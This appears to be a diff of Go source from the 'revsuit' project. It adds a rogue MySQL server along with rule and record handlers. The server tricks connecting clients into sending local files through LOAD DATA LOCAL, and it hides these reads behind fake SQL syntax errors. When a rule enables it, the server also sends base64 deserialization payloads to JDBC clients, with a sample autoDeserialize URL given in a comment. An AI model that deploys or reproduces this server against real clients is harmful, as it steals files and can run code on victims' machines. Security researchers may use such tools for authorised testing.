if err := db.Order("rank desc").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(200, gin.H{
|
||||||
|
"status": "succeed",
|
||||||
|
"error": nil,
|
||||||
|
"result": gin.H{"count": count, "data": res},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create or update dns rule from user submit
|
||||||
|
func UpsertRules(c *gin.Context) {
|
||||||
|
var (
|
||||||
|
dnsRule Rule
|
||||||
|
update bool
|
||||||
|
)
|
||||||
|
|
||||||
|
if err := c.ShouldBind(&dnsRule); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if dnsRule.ID != 0 {
|
||||||
|
update = true
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := dnsRule.CreateOrUpdate(); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if update {
|
||||||
|
log.Trace("DNS rule(id:%d) has been updated", dnsRule.ID)
|
||||||
|
} else {
|
||||||
|
log.Trace("DNS rule(id:%d) has been created", dnsRule.ID)
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(200, gin.H{
|
||||||
|
"status": "succeed",
|
||||||
|
"error": nil,
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Delete dns rule from user submit
|
||||||
|
func DeleteRules(c *gin.Context) {
|
||||||
|
var dnsRule Rule
|
||||||
|
|
||||||
|
if err := c.ShouldBind(&dnsRule); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := dnsRule.Delete(); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Trace("DNS rule(id:%d) has been deleted", dnsRule.ID)
|
||||||
|
|
||||||
|
c.JSON(200, gin.H{
|
||||||
|
"status": "succeed",
|
||||||
|
"error": nil,
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
package mysql
|
||||||
|
|
||||||
|
type Config struct {
|
||||||
|
Enable bool
|
||||||
|
Addr string
|
||||||
|
VersionString string `yaml:"version_string"`
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
package mysql
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/gabriel-vasile/mimetype"
|
||||||
|
"github.com/gin-gonic/gin"
|
||||||
|
"github.com/li4n0/revsuit/internal/database"
|
||||||
|
)
|
||||||
|
|
||||||
|
const FILE_SPEARATOR = ";"
|
||||||
|
|
||||||
|
type File struct {
|
||||||
|
ID uint `gorm:"primarykey" form:"id" json:"id"`
|
||||||
|
RecordID uint `gorm:"constraint:OnUpdate:CASCADE,OnDelete:CASCADE;" json:"-"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Content []byte `json:"-"`
|
||||||
|
}
|
||||||
|
|
||||||
|
//func (File) TableName() string {
|
||||||
|
// return "mysql_files"
|
||||||
|
//}
|
||||||
|
|
||||||
|
func GetFile(c *gin.Context) {
|
||||||
|
var (
|
||||||
|
file File
|
||||||
|
mysqlRecord Record
|
||||||
|
)
|
||||||
|
id := c.Param("id")
|
||||||
|
if id == "" {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": fmt.Errorf("param id missed").Error(),
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
database.DB.Model(&file).Where("id = ?", id).Find(&file)
|
||||||
|
database.DB.Model(&mysqlRecord).Where("id = ?", file.RecordID).Find(&mysqlRecord)
|
||||||
|
if file.Content == nil || len(file.Content) == 0 {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": fmt.Errorf("file not found").Error(),
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
mime := mimetype.Detect(file.Content)
|
||||||
|
c.Header("Content-Type", mime.String())
|
||||||
|
c.Header("Content-Disposition",
|
||||||
|
fmt.Sprintf(
|
||||||
|
"filename=%s_%s_%d",
|
||||||
|
strings.Replace(mysqlRecord.RemoteIP, ".", "_", -1),
|
||||||
|
file.Name,
|
||||||
|
file.ID,
|
||||||
|
),
|
||||||
|
)
|
||||||
|
c.String(200, string(file.Content))
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,278 @@
|
|||||||
|
package mysql
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/internal/database"
|
||||||
|
"github.com/li4n0/revsuit/internal/qqwry"
|
||||||
|
"github.com/li4n0/revsuit/pkg/mysql/vmysql"
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
"vitess.io/vitess/go/sqltypes"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
server *Server
|
||||||
|
once sync.Once
|
||||||
|
mysqlConnectorFlag = regexp.MustCompile(`mysql-connector-java(-\d+\.\d+\.\d+)?`)
|
||||||
|
)
|
||||||
|
|
||||||
|
type Server struct {
|
||||||
|
Config
|
||||||
|
rules []*Rule
|
||||||
|
rulesLock sync.RWMutex
|
||||||
|
|
||||||
|
listener *vmysql.Listener
|
||||||
|
Handler vmysql.Handler
|
||||||
|
|
||||||
|
connRulePool sync.Map
|
||||||
|
}
|
||||||
|
|
||||||
|
func GetServer() *Server {
|
||||||
|
once.Do(func() {
|
||||||
|
server = &Server{rulesLock: sync.RWMutex{}}
|
||||||
|
})
|
||||||
|
return server
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) getRules() []*Rule {
|
||||||
|
defer s.rulesLock.RUnlock()
|
||||||
|
s.rulesLock.RLock()
|
||||||
|
return s.rules
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) updateRules() error {
|
||||||
|
db := database.DB.Model(new(Rule))
|
||||||
|
s.rulesLock.Lock()
|
||||||
|
db.Order("rank desc").Find(&s.rules)
|
||||||
|
s.rulesLock.Unlock()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewConnection is part of the mysql.Handler interface.
|
||||||
|
func (s *Server) NewConnection(c *vmysql.Conn) {
|
||||||
|
log.Trace("New MySQL client from addr [%s] logged in with username [%s], ID [%d]", c.RemoteAddr(), c.User, c.ConnectionID)
|
||||||
|
|
||||||
|
c.RecycleReadPacket()
|
||||||
|
var (
|
||||||
|
user = c.User
|
||||||
|
schema = c.SchemaName
|
||||||
|
validated bool
|
||||||
|
)
|
||||||
|
|
||||||
|
for _, _rule := range s.getRules() {
|
||||||
|
flag, _ := _rule.Match(user + schema)
|
||||||
|
if flag == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
s.connRulePool.Store(c.ConnectionID, _rule)
|
||||||
|
validated = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if !validated {
|
||||||
|
c.WriteErrorResponse(vmysql.NewSQLError(vmysql.ERAccessDeniedError, vmysql.SSAccessDeniedError, "Access denied for user '%v'", c.User).Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if c.ConnAttrs != nil {
|
||||||
|
if strings.Contains(c.ConnAttrs["_client_name"], "MySQL Connector") {
|
||||||
|
c.IsJdbcClient = true
|
||||||
|
c.SupportLoadDataLocal = true
|
||||||
|
// 测试发现只有 pymysql 和原生命令行会对这个 flag 真正进行修改
|
||||||
|
// 而且 Connector/J 默认值为 False, 所以这里做特殊兼容
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ConnectionClosed is part of the mysql.Handler interface.
|
||||||
|
func (s *Server) ConnectionClosed(c *vmysql.Conn) {
|
||||||
|
log.Trace("MySQL Client leaved, ID [%d]", c.ConnectionID)
|
||||||
|
var (
|
||||||
|
user = c.User
|
||||||
|
clientName string
|
||||||
|
clientOS string
|
||||||
|
supportLoadLocalData = c.SupportLoadDataLocal
|
||||||
|
cr, ok = s.connRulePool.Load(c.ConnectionID)
|
||||||
|
)
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_rule := cr.(*Rule)
|
||||||
|
flag, flagGroup := _rule.Match(user)
|
||||||
|
if flag == "" {
|
||||||
|
log.Error("MySQL Connection rule(%d) not match flag", c.ConnectionID)
|
||||||
|
}
|
||||||
|
if c.ConnAttrs != nil {
|
||||||
|
clientName = c.ConnAttrs["_client_name"] + " " + c.ConnAttrs["_client_version"]
|
||||||
|
clientOS = c.ConnAttrs["_os"] + " " + c.ConnAttrs["_platform"]
|
||||||
|
}
|
||||||
|
|
||||||
|
ip := strings.Split(c.RemoteAddr().String(), ":")[0]
|
||||||
|
|
||||||
|
filenames := strings.Split(_rule.Files, FILE_SPEARATOR)
|
||||||
|
files := make([]File, 0)
|
||||||
|
for _, filename := range filenames {
|
||||||
|
if len(c.Files[filename]) != 0 {
|
||||||
|
files = append(files, File{Name: filename, Content: c.Files[filename]})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
r, err := newRecord(_rule, flag, user, clientName, clientOS, ip, qqwry.Area(ip), supportLoadLocalData, files)
|
||||||
|
if err != nil {
|
||||||
|
log.Error("MySQL record(rule_id:%s) created failed :%s", _rule.Name, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Trace("MySQL record(id:%d) has been created", r.ID)
|
||||||
|
|
||||||
|
//only send to client when this connection recorded first time.
|
||||||
|
if _rule.PushToClient {
|
||||||
|
if flagGroup != "" {
|
||||||
|
var count int64
|
||||||
|
database.DB.Where("rule_name=? and domain like ?", _rule.Name, "%"+flagGroup+"%").Model(&Record{}).Count(&count)
|
||||||
|
if count <= 1 {
|
||||||
|
r.PushToClient()
|
||||||
|
log.Trace("MySQL record(id:%d) has been put to client message queue", r.ID)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
r.PushToClient()
|
||||||
|
log.Trace("MySQL record(id:%d) has been put to client message queue", r.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//send notice
|
||||||
|
if _rule.Notice {
|
||||||
|
go func() {
|
||||||
|
r.Notice()
|
||||||
|
log.Trace("MySQL record(id:%d) notice has been sent", r.ID)
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
s.connRulePool.Delete(c.ConnectionID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ComQuery is part of the mysql.Handler interface.
|
||||||
|
func (s *Server) ComQuery(c *vmysql.Conn, query string, callback func(*sqltypes.Result) error) error {
|
||||||
|
log.Trace("MySQL Client from addr, ID [%d] try to query [%s]", c.ConnectionID, query)
|
||||||
|
|
||||||
|
// match mysql-connector-java
|
||||||
|
if strings.Contains(query, "mysql-connector-java") && (c.ConnAttrs == nil || c.ConnAttrs["_client_name"] == "") {
|
||||||
|
c.ConnAttrs = map[string]string{"_client_name": mysqlConnectorFlag.FindString(query)}
|
||||||
|
}
|
||||||
|
|
||||||
|
cr, ok := s.connRulePool.Load(c.ConnectionID)
|
||||||
|
if !ok {
|
||||||
|
c.WriteErrorResponse(
|
||||||
|
fmt.Sprintf(
|
||||||
|
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
|
||||||
|
strings.ReplaceAll(
|
||||||
|
strings.ReplaceAll(query, "%", "%%"),
|
||||||
|
"'", "\\'"),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_rule := cr.(*Rule)
|
||||||
|
|
||||||
|
if _rule.ExploitJdbcClient && _rule.Payloads != nil && c.IsJdbcClient {
|
||||||
|
if query == "SHOW SESSION STATUS" {
|
||||||
|
var payload []byte
|
||||||
|
|
||||||
|
log.Trace("MySQL Client [%d] request `%s`, start exploiting...", c.ConnectionID, query)
|
||||||
|
r := &sqltypes.Result{Fields: vmysql.SchemaToFields(vmysql.Schema{
|
||||||
|
{Name: "Variable_name", Type: sqltypes.Blob, Nullable: false},
|
||||||
|
{Name: "Value", Type: sqltypes.Blob, Nullable: false},
|
||||||
|
})}
|
||||||
|
|
||||||
|
//choose payload
|
||||||
|
//jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:cc7&autoDeserialize=true
|
||||||
|
if c.ConnAttrs["t"] != "" && _rule.Payloads[c.ConnAttrs["t"]] != "" {
|
||||||
|
payload, _ = base64.StdEncoding.DecodeString(_rule.Payloads[c.ConnAttrs["t"]])
|
||||||
|
} else {
|
||||||
|
for _, v := range _rule.Payloads {
|
||||||
|
payload, _ = base64.StdEncoding.DecodeString(v)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r.Rows = append(r.Rows, vmysql.RowToSQL(vmysql.SQLRow{[]byte{}, payload}))
|
||||||
|
_ = callback(r)
|
||||||
|
} else {
|
||||||
|
r := vmysql.GetMysqlVars()
|
||||||
|
_ = callback(r)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// mysql LOAD DATA LOCAL
|
||||||
|
if !c.SupportLoadDataLocal { // 客户端不支持读取本地文件且没有开启总是读取,直接返回错误
|
||||||
|
log.Trace("MySQL Client not support LOAD DATA LOCAL, return error directly")
|
||||||
|
c.WriteErrorResponse(
|
||||||
|
fmt.Sprintf(
|
||||||
|
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
|
||||||
|
strings.ReplaceAll(
|
||||||
|
strings.ReplaceAll(query, "%", "%%"),
|
||||||
|
"'", "\\'"),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
files := strings.Split(_rule.Files, ";")
|
||||||
|
if c.Files == nil {
|
||||||
|
c.Files = make(map[string][]byte)
|
||||||
|
}
|
||||||
|
for _, filename := range files {
|
||||||
|
if c.Files[filename] == nil {
|
||||||
|
log.Trace("MySQL now try to read file [%s], ID [%d]", filename, c.ConnectionID)
|
||||||
|
data := c.RequestFile(filename)
|
||||||
|
if data == nil || len(data) == 0 {
|
||||||
|
log.Trace("MySQL file [%s] read failed, file may not exist in client [%d]", filename, c.ConnectionID)
|
||||||
|
c.Files[filename] = []byte{}
|
||||||
|
} else {
|
||||||
|
c.Files[filename] = data
|
||||||
|
}
|
||||||
|
c.WriteErrorResponse(fmt.Sprintf(
|
||||||
|
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
|
||||||
|
strings.ReplaceAll(
|
||||||
|
strings.ReplaceAll(query, "%", "%%"),
|
||||||
|
"'", "\\'"),
|
||||||
|
))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
c.WriteErrorResponse(fmt.Sprintf(
|
||||||
|
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
|
||||||
|
strings.ReplaceAll(
|
||||||
|
strings.ReplaceAll(query, "%", "%%"),
|
||||||
|
"'", "\\'"),
|
||||||
|
))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// WarningCount is part of the mysql.Handler interface.
|
||||||
|
func (s *Server) WarningCount(c *vmysql.Conn) uint16 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *Server) Run() {
|
||||||
|
if err := s.updateRules(); err != nil {
|
||||||
|
log.Fatal(err.Error())
|
||||||
|
}
|
||||||
|
|
||||||
|
s.Handler = s
|
||||||
|
|
||||||
|
var authServer = &vmysql.AuthServerNone{}
|
||||||
|
var err error
|
||||||
|
|
||||||
|
log.Info("Starting Mysql Server at %s", s.Addr)
|
||||||
|
s.listener, err = vmysql.NewListener("tcp", s.Addr, authServer, s, s.VersionString, 0, 0)
|
||||||
|
if err != nil {
|
||||||
|
log.Error("New Mysql Server failed: %s", err)
|
||||||
|
os.Exit(-1)
|
||||||
|
}
|
||||||
|
|
||||||
|
s.listener.Accept()
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
package mysql
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql"
|
||||||
|
"fmt"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
_ "github.com/go-sql-driver/mysql"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestServer_NewConnection(t *testing.T) {
|
||||||
|
db, err := sql.Open("mysql", "root:root@tcp(127.0.0.1)/dbname?allowAllFiles=true")
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
}
|
||||||
|
db.Exec("SELECT 1;")
|
||||||
|
}
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
package mysql
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/gin-gonic/gin"
|
||||||
|
"github.com/li4n0/revsuit/internal/database"
|
||||||
|
"github.com/li4n0/revsuit/internal/notice"
|
||||||
|
"github.com/li4n0/revsuit/internal/record"
|
||||||
|
)
|
||||||
|
|
||||||
|
var _ record.Record = (*Record)(nil)
|
||||||
|
|
||||||
|
type Record struct {
|
||||||
|
record.BaseRecord
|
||||||
|
Username string `gorm:"index",form:"username" json:"username" notice:"username"`
|
||||||
|
ClientName string `gorm:"index",form:"client_name" json:"client_name" notice:"client_name"`
|
||||||
|
ClientOS string `gorm:"index",form:"client_os" json:"client_os" notice:"client_os"`
|
||||||
|
LoadLocalData bool `gorm:"index",form:"load_local_data" json:"load_local_data" notice:"load_local_data"`
|
||||||
|
//FileID uint `form:"file_id" json:"file_id" notice:"file_id"`
|
||||||
|
Files []File `form:"-" json:"files" notice:"-"`
|
||||||
|
Rule Rule `gorm:"foreignKey:RuleName;references:Name;constraint:OnUpdate:CASCADE,OnDelete:SET NULL;" form:"-" json:"-" notice:"-"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (Record) TableName() string {
|
||||||
|
return "mysql_records"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r Record) Notice() {
|
||||||
|
notice.Notice(r)
|
||||||
|
}
|
||||||
|
|
||||||
|
func newRecord(rule *Rule, flag, username, clientName, clientOS, remoteIp, ipArea string, supportLoadLocalData bool, files []File) (r *Record, err error) {
|
||||||
|
r = &Record{
|
||||||
|
BaseRecord: record.BaseRecord{
|
||||||
|
Flag: flag,
|
||||||
|
RemoteIP: remoteIp,
|
||||||
|
IpArea: ipArea,
|
||||||
|
RequestTime: time.Now(),
|
||||||
|
},
|
||||||
|
Username: username,
|
||||||
|
ClientName: clientName,
|
||||||
|
ClientOS: clientOS,
|
||||||
|
LoadLocalData: supportLoadLocalData,
|
||||||
|
Files: files,
|
||||||
|
Rule: *rule,
|
||||||
|
}
|
||||||
|
err = database.DB.Create(r).Error
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
func List(c *gin.Context) {
|
||||||
|
var (
|
||||||
|
mysqlRecord Record
|
||||||
|
res []Record
|
||||||
|
count int64
|
||||||
|
order = c.Query("order")
|
||||||
|
)
|
||||||
|
if err := c.ShouldBind(&mysqlRecord); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err,
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
db := database.DB.Model(&mysqlRecord)
|
||||||
|
if mysqlRecord.Flag != "" {
|
||||||
|
db.Where("flag = ?", mysqlRecord.Flag)
|
||||||
|
}
|
||||||
|
if mysqlRecord.RemoteIP != "" {
|
||||||
|
db.Where("remote_ip = ?", mysqlRecord.RemoteIP)
|
||||||
|
}
|
||||||
|
if mysqlRecord.RuleName != "" {
|
||||||
|
db.Where("rule_name = ?", mysqlRecord.RuleName)
|
||||||
|
}
|
||||||
|
if mysqlRecord.ClientOS != "" {
|
||||||
|
db.Where("client_os like ?", "%"+mysqlRecord.ClientOS)
|
||||||
|
}
|
||||||
|
if mysqlRecord.ClientName != "" {
|
||||||
|
db.Where("client_name like ?", "%"+mysqlRecord.ClientName)
|
||||||
|
}
|
||||||
|
|
||||||
|
page, err := strconv.Atoi(c.Query("page"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := db.Preload("Files").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(200, gin.H{
|
||||||
|
"status": "succeed",
|
||||||
|
"error": nil,
|
||||||
|
"result": gin.H{"count": count, "data": res},
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,180 @@
|
|||||||
|
package mysql
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strconv"
|
||||||
|
|
||||||
|
"github.com/gin-gonic/gin"
|
||||||
|
"github.com/li4n0/revsuit/internal/database"
|
||||||
|
"github.com/li4n0/revsuit/internal/rule"
|
||||||
|
"gorm.io/gorm/clause"
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
)
|
||||||
|
|
||||||
|
type Rule struct {
|
||||||
|
rule.BaseRule
|
||||||
|
Files string `form:"files" json:"files"`
|
||||||
|
ExploitJdbcClient bool `gorm:"exploit_jdbc_client" form:"exploit_jdbc_client" json:"exploit_jdbc_client"`
|
||||||
|
Payloads database.MapField `json:"payloads" json:"payloads"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (Rule) TableName() string {
|
||||||
|
return "mysql_rules"
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create or update the mysql rule in database and ruleSet
|
||||||
|
func (r *Rule) CreateOrUpdate() (err error) {
|
||||||
|
db := database.DB.Model(r)
|
||||||
|
err = db.Clauses(clause.OnConflict{
|
||||||
|
Columns: []clause.Column{{Name: "id"}},
|
||||||
|
DoUpdates: clause.AssignmentColumns(
|
||||||
|
[]string{
|
||||||
|
"name",
|
||||||
|
"flag_format",
|
||||||
|
"rank",
|
||||||
|
"files",
|
||||||
|
"exploit_jdbc_client",
|
||||||
|
"payloads",
|
||||||
|
"push_to_client",
|
||||||
|
"notice",
|
||||||
|
}),
|
||||||
|
}).Create(r).Error
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
err = GetServer().updateRules()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Delete the mysql rule in database and ruleSet
|
||||||
|
func (r *Rule) Delete() (err error) {
|
||||||
|
db := database.DB.Model(r)
|
||||||
|
err = db.Delete(r).Error
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
err = GetServer().updateRules()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// List all mysql rules those satisfy the filter
|
||||||
|
func ListRules(c *gin.Context) {
|
||||||
|
var (
|
||||||
|
mysqlRule Rule
|
||||||
|
res []Rule
|
||||||
|
count int64
|
||||||
|
order = c.Query("order")
|
||||||
|
)
|
||||||
|
|
||||||
|
if err := c.ShouldBind(&mysqlRule); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
db := database.DB.Model(&mysqlRule)
|
||||||
|
if mysqlRule.Name != "" {
|
||||||
|
db.Where("name = ?", mysqlRule.Name)
|
||||||
|
}
|
||||||
|
db.Count(&count)
|
||||||
|
|
||||||
|
page, err := strconv.Atoi(c.Query("page"))
|
||||||
|
if err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := db.Order("rank desc").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(200, gin.H{
|
||||||
|
"status": "succeed",
|
||||||
|
"error": nil,
|
||||||
|
"result": gin.H{"count": count, "data": res},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create or update mysql rule from user submit
|
||||||
|
func UpsertRules(c *gin.Context) {
|
||||||
|
var (
|
||||||
|
mysqlRule Rule
|
||||||
|
update bool
|
||||||
|
)
|
||||||
|
|
||||||
|
if err := c.ShouldBind(&mysqlRule); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if mysqlRule.ID != 0 {
|
||||||
|
update = true
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := mysqlRule.CreateOrUpdate(); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if update {
|
||||||
|
log.Trace("MySQL rule(id:%d) has been updated", mysqlRule.ID)
|
||||||
|
} else {
|
||||||
|
log.Trace("MySQL rule(id:%d) has been created", mysqlRule.ID)
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(200, gin.H{
|
||||||
|
"status": "succeed",
|
||||||
|
"error": nil,
|
||||||
|
"result": nil,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Delete mysql rule from user submit
|
||||||
|
func DeleteRules(c *gin.Context) {
|
||||||
|
var mysqlRule Rule
|
||||||
|
|
||||||
|
if err := c.ShouldBind(&mysqlRule); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := mysqlRule.Delete(); err != nil {
|
||||||
|
c.JSON(400, gin.H{
|
||||||
|
"status": "failed",
|
||||||
|
"error": err.Error(),
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Trace("MySQL rule(id:%d) has been deleted", mysqlRule.ID)
|
||||||
|
|
||||||
|
c.JSON(200, gin.H{
|
||||||
|
"status": "succeed",
|
||||||
|
"error": nil,
|
||||||
|
"data": nil,
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
@@ -0,0 +1,239 @@
|
|||||||
|
/*
|
||||||
|
Copyright 2017 Google Inc.
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreedto in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package vmysql
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/sha1"
|
||||||
|
"encoding/hex"
|
||||||
|
"net"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
|
||||||
|
"vitess.io/vitess/go/vt/proto/vtrpc"
|
||||||
|
"vitess.io/vitess/go/vt/vterrors"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AuthServer is the interface that servers must implement to validate
|
||||||
|
// users and passwords. It has two modes:
|
||||||
|
//
|
||||||
|
// 1. using salt the way MySQL native auth does it. In that case, the
|
||||||
|
// password is not sent in the clear, but the salt is used to hash the
|
||||||
|
// password both on the client and server side, and the result is sent
|
||||||
|
// and compared.
|
||||||
|
//
|
||||||
|
